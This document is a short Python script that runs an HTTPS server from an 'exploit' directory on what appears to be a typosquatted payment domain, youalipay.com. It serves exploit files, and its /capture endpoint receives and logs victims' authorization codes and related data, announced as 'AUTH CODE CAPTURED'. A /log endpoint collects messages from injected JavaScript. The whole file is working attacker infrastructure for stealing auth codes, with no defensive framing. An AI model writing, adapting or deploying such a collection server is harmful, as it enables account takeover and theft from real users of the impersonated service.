#!/usr/bin/env python3
import http.server
import ssl
import os
import urllib.parse
from datetime import datetime

os.chdir('/var/www/exploit')

class LoggingHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        with open('/var/www/exploit/requests.log', 'a') as f:
            f.write(f"{datetime.now()} - {self.path}\n")
        
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        
        if '/capture' in self.path:
            authCode = query.get('authCode', [''])[0]
            full = query.get('full', [''])[0]
            
            print(f"\n{'='*60}")
            print(f"!!! AUTH CODE CAPTURED !!!")
            print(f"{'='*60}")
            print(f"authCode: {authCode}")
            print(f"full: {full}")
            print(f"{'='*60}\n")
            
            with open('/var/www/exploit/captured.log', 'a') as f:
                f.write(f"{datetime.now()}\n")
                f.write(f"authCode: {authCode}\n")
                f.write(f"full: {full}\n")
                f.write(f"{'='*60}\n")
            
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'OK')
            return
        
        if '/log' in self.path:
            msg = query.get('msg', [''])[0]
            print(f"[JS LOG] {msg}")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b'OK')
            return
        
        return super().do_GET()

server_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address, LoggingHandler)

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(
    '/etc/letsencrypt/live/youalipay.com/fullchain.pem',
    '/etc/letsencrypt/live/youalipay.com/privkey.pem'
)
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print(f"[*] HTTPS server running on https://youalipay.com:443")
httpd.serve_forever()
